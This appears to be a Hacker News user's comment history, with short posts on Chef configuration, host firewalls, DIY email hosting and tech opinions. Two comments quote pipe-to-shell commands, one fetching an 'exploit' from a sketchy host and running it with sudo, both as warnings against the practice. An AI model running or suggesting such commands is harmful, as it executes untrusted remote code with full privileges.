jvehent

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   Fuck given(fucksgiven.net)

   3 points by jvehent 13y ago|1 comments
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   Mozilla Launches Minion Automated Security Testing Platform(techcrunch.com)

   5 points by jvehent 13y ago|1 comments
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   by jvehent 13y ago

   You should see the baby-boomers I know show off to their neighbors when they watch xfinity, streamed from their laptops to their TVs, via hdmi. Being 60 doesn't mean you don't get excited about technology anymore. But it does mean
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   Cipherscan: simple SSL discovery(github.com)

   7 points by jvehent 13y ago|1 comments
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   [Show HN] Introducing AutOssec: automated Ossec deployment for Chef(jve.linuxwall.info)

   1 points by jvehent 13y ago|0 comments
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   AFW, Automating host-based firewalls with Chef(vimeo.com)

   3 points by jvehent 13y ago|0 comments
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   by jvehent 14y ago

   Bash can do that easily, the syntax is just a bit different $ echo {1..3}.pdf {a..d}.pdf 1.pdf 2.pdf 3.pdf a.pdf b.pdf c.pdf d.pdf
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   DIY eMail Home(jve.linuxwall.info)

   2 points by jvehent 14y ago|0 comments
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   by jvehent 14y ago

   Is there a search functionality, similar to what Chef::Search provides ?
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    by jvehent 14y ago

    Coincidentally, I just gave a talk last tuesday at the Philadelphia LUG on DIY email hosting at home. http://jve.linuxwall.info/ressources/taf/DIY-eMail@Home-PLUG... [PDF, 4.5MB]
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    by jvehent 14y ago

    I've grown to believe that learning to code is similar to what learning to write was 200 years ago. You can't be a good engineer, scientist or even artist without knowing it. A few people who excel at it will have great impact on our societ
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    by jvehent 14y ago

    unlikely to run more than a couple dozen servers Then, yes, Chef is probably overkill. Although, the resources (template, command, etc...) are nice and helpful. But I wouldn't replace an existing working process with Chef is there's no ob
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    by jvehent 14y ago

    And I feel that at certain scales one should tell hosts what to do, not rely on some auto discovery Process - especially if that process is not out and out cloning. That's one thing, in Chef, that scares me. Access control on node attribu
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    by jvehent 14y ago

    Chef maintains a database of all the nodes in your environment. Nodes can search for neighbors and configure themselves accordingly. I wrote a firewall cookbook that takes advantages of Chef's search capabilities to dramatically reduce the
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    by jvehent 14y ago

    Oh Darn ! So that wiki page saying that I should run `curl http://sketchyhackers.cc/exploit | sudo bash` wasn't legit ??? </sarcasm>
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    by jvehent 14y ago

    Yep. Welcome to the beautiful world of BGP peering policies. Lot's of fights, dramas, one-night-stands, and very little transparency on who does what.
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    by jvehent 14y ago

    And pop-corn machines...
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    by jvehent 14y ago

    The more features you'll add to your products, the less I'll use them. I like clean, simple, readable interfaces because what matter is the information being transported, not the interface around it. I use finch as my IM client, and Mutt fo
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    by jvehent 14y ago

    They created a system where a government lawyer makes a law that corporate lawyers can use to make a lot of money. In return, the corporate lawyer pay taxes to the government so that the government lawyer can have a fancy title in a fancy a
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    by jvehent 14y ago

    Don't look for the right job. Look for the right company, and evolve once you're in.
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    [Show HN] AFW: Firewalling dynamic infrastructures with Chef and Netfilter(jve.linuxwall.info)

    1 points by jvehent 14y ago|0 comments
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    by jvehent 14y ago

    Oh yes, people do get fired for buying microsoft. Switch industries and you'll see. Or try spending 2 years building your company knowledge base into sharepoint and you'll see.
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    On DKIM strength(jve.linuxwall.info)

    1 points by jvehent 14y ago|0 comments
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    by jvehent 14y ago

    cellphones ?
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    by jvehent 14y ago

    a PT maybe ? Personal Tablet. :)
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    by jvehent 14y ago

    It's just a JSON syntax validator. You can't index on part of the json, postgres treats it as a string. You can apply full text search on it, but that doesn't tell you if you're matching on a key or a value.
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    by jvehent 14y ago

    I've had a personal wiki for about 7 years. The amount of knowledge in it is, by far, the most precious resource in my career. It is tremendously useful ! http://www.monosapiens.com.br/blog/wp-content/uploads/dumble... The only problem wi
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    by jvehent 14y ago

    MIME html emails will have a plain text part that will be displayed properly. For pure HTML, you can always have mutt open them in a web browser.
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    by jvehent 14y ago

    And this is why we use actual web servers, that are HTTP compliant (it takes years), to handle incoming HTTP requests from the Internet. 90% of the "web framework" I've played with only have limited HTTP support and must not be directly on
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    by jvehent 14y ago

    Stop doing `curl get.whatever.com|bash` ! Seriously. I have nothing against your install script, but getting devs use to that is a terrible idea ! I spent weeks explaining to junior devs to not do that on production servers. I thought it